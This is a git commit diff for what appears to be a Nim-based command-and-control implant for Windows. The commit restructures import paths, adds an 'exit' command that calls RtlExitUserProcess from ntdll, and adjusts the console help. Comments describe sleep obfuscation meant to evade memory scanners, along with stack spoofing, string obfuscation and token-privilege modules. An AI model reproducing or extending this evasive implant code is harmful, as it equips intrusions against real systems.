Updated directory structure and added simple 'exit' command to terminate an agent.

This commit is contained in:
Jakob Friedl
2025-10-23 17:28:07 +02:00
parent c6875e5eb2
commit 432f37755c
25 changed files with 90 additions and 28 deletions

View File

@@ -1,6 +1,6 @@
import winim/[lean, clr] import winim/[lean, clr]
import os, strformat, strutils, sequtils import os, strformat, strutils, sequtils
import ./[hwbp, io] import ../utils/[hwbp, io]
import ../../common/[types, utils] import ../../common/[types, utils]
#[ #[

View File

@@ -1,6 +1,6 @@
import winim/lean import winim/lean
import os, strformat, strutils, ptr_math import os, strformat, strutils, ptr_math
import ./[beacon, io] import ../utils/[beacon, io]
import ../../common/[types, utils, serialize] import ../../common/[types, utils, serialize]
#[ #[

View File

@@ -1,5 +1,5 @@
import parsetoml, base64, system import parsetoml, base64, system
import ./io import ../utils/io
import ../../common/[types, utils, crypto, serialize] import ../../common/[types, utils, crypto, serialize]
const CONFIGURATION {.strdefine.}: string = "" const CONFIGURATION {.strdefine.}: string = ""

View File

@@ -1,5 +1,5 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ./io import ../utils/io
import ../../common/[types, utils, profile] import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =

View File

@@ -1,8 +1,7 @@
import winim/lean import winim/lean
import winim/inc/tlhelp32 import winim/inc/tlhelp32
import os, system, strformat, random import os, system, strformat, random
import ../utils/[cfg, io]
import ./[cfg, io]
import ../../common/[types, utils, crypto] import ../../common/[types, utils, crypto]
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) # Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)

View File

@@ -1,6 +1,6 @@
import winim/lean import winim/lean
import strformat import strformat
import ./io import ../utils/io
import ../../common/[types, utils] import ../../common/[types, utils]
#[ #[

View File

@@ -1,6 +1,7 @@
import strformat, os, times, system, base64, random import strformat, os, times, system, base64, random
import core/[http, context, sleepmask, io] import core/[http, context, sleepmask]
import utils/io
import protocol/[task, result, heartbeat, registration] import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
@@ -24,21 +25,21 @@ proc main() =
#[ #[
Agent routine: Agent routine:
1. Sleep Obfuscation 1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint 2. Retrieve tasks via checkin request to a GET endpoint
3. Execute task and post result to /results 3. Execute task and post result
4. If additional tasks have been fetched, go to 2. 4. If additional tasks have been fetched, go to 3.
5. If no more tasks need to be executed, go to 1. 5. If no more tasks need to be executed, go to 1.
]# ]#
while true: while true:
# Sleep obfuscation to evade memory scanners # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings) sleepObfuscate(ctx.sleepSettings)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in." print "\n", fmt"[*] [{date}] Checking in."
try: try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request # Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return # The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat() var heartbeat: Heartbeat = ctx.createHeartbeat()
let let
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat) heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)

View File

@@ -1,7 +1,7 @@
import strutils, tables, json, strformat, zippy import strutils, tables, json, strformat, zippy
import ./result import ./result
import ../core/io import ../utils/io
import ../../modules/manager import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils] import ../../common/[types, serialize, sequence, crypto, utils]

View File

@@ -147,9 +147,8 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
Handling console commands Handling console commands
]# ]#
proc displayHelp(component: ConsoleComponent) = proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules): for cmd in getCommands(component.agent.modules):
for cmd in module.commands: component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
proc displayCommandHelp(component: ConsoleComponent, command: Command) = proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt( var usage = command.name & " " & command.arguments.mapIt(

View File

@@ -58,6 +58,7 @@ type
CMD_TOKEN_INFO = 21'u16 CMD_TOKEN_INFO = 21'u16
CMD_ENABLE_PRIV = 22'u16 CMD_ENABLE_PRIV = 22'u16
CMD_DISABLE_PRIV = 23'u16 CMD_DISABLE_PRIV = 23'u16
CMD_EXIT = 24'u16
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8

View File

@@ -30,7 +30,8 @@ when not defined(agent):
when defined(agent): when defined(agent):
import osproc, strutils, strformat import osproc, strutils, strformat
import ../agent/core/[coff, io] import ../agent/core/coff
import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]

View File

@@ -30,7 +30,8 @@ when not defined(agent):
when defined(agent): when defined(agent):
import strutils, strformat import strutils, strformat
import ../agent/core/[clr, io] import ../agent/core/clr
import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]

46
src/modules/exit.nim Normal file
View File

@@ -0,0 +1,46 @@
import ../common/[types, utils]
# Define function prototype
proc executeExit(ctx: AgentCtx, task: Task): TaskResult
# Module definition
let commands* = @[
Command(
name: protect("exit"),
commandType: CMD_EXIT,
description: protect("Exit the agent process."),
example: protect("exit"),
arguments: @[
],
execute: executeExit
)
]
# Implement execution functions
when not defined(agent):
proc executeExit(ctx: AgentCtx, task: Task): TaskResult = nil
when defined(agent):
import winim/lean
import strutils, strformat
import ../agent/utils/io
import ../agent/protocol/result
import ../common/[utils, serialize]
type
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
try:
let
hNtdll = GetModuleHandleA(protect("ntdll"))
pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
print " [>] Exiting."
pRtlExitUserProcess(STATUS_SUCCESS)
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -101,7 +101,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, strutils, strformat, times, algorithm, winim import os, strutils, strformat, times, algorithm, winim
import ../agent/core/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils

View File

@@ -41,7 +41,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, std/paths, strutils, strformat import os, std/paths, strutils, strformat
import ../agent/core/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]

View File

@@ -17,6 +17,16 @@ proc registerModule(module: Module) {.discardable.} =
manager.commandsByType[cmd.commandType] = cmd manager.commandsByType[cmd.commandType] = cmd
manager.commandsByName[cmd.name] = cmd manager.commandsByName[cmd.name] = cmd
proc registerCommands(commands: seq[Command]) {.discardable.} =
for cmd in commands:
manager.commandsByType[cmd.commandType] = cmd
manager.commandsByName[cmd.name] = cmd
# Modules/commands
import exit
registerCommands(exit.commands)
# Import all modules # Import all modules
when (MODULES == cast[uint32](MODULE_ALL)): when (MODULES == cast[uint32](MODULE_ALL)):
import import
@@ -68,7 +78,6 @@ when ((MODULES and cast[uint32](MODULE_TOKEN)) == cast[uint32](MODULE_TOKEN)):
import token import token
registerModule(token.module) registerModule(token.module)
proc getCommandByType*(cmdType: CommandType): Command = proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType] return manager.commandsByType[cmdType]
@@ -90,6 +99,10 @@ proc getModules*(modules: uint32 = 0): seq[Module] =
result.add(m) result.add(m)
proc getCommands*(modules: uint32 = 0): seq[Command] = proc getCommands*(modules: uint32 = 0): seq[Command] =
# House-keeping
result.add(manager.commandsByType[CMD_EXIT])
# Modules
if modules == 0: if modules == 0:
for m in manager.modules: for m in manager.modules:
result.add(m.commands) result.add(m.commands)

View File

@@ -30,7 +30,7 @@ when defined(agent):
import winim/inc/wingdi import winim/inc/wingdi
import strutils, strformat, times, pixie import strutils, strformat, times, pixie
import stb_image/write as stbiw import stb_image/write as stbiw
import ../agent/core/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/[utils, serialize] import ../common/[utils, serialize]

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import osproc, strutils, strformat import osproc, strutils, strformat
import ../agent/core/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils

View File

@@ -42,7 +42,7 @@ when not defined(agent):
when defined(agent): when defined(agent):
import os, strutils, strformat import os, strutils, strformat
import ../agent/core/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils
@@ -69,7 +69,7 @@ when defined(agent):
case int(task.argCount): case int(task.argCount):
of 0: of 0:
# Retrieve sleepmask settings # Retrieve sleepmask settings
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}" let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}%, Stack spoofing: {$ctx.sleepSettings.spoofStack}"
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response)) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
of 1: of 1:

View File

@@ -38,7 +38,7 @@ when defined(agent):
import winim import winim
import os, strutils, sequtils, strformat, tables, algorithm import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils

View File

@@ -88,7 +88,8 @@ when not defined(agent):
when defined(agent): when defined(agent):
import winim, strutils, strformat import winim, strutils, strformat
import ../agent/core/[token, io] import ../agent/core/token
import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../common/utils import ../common/utils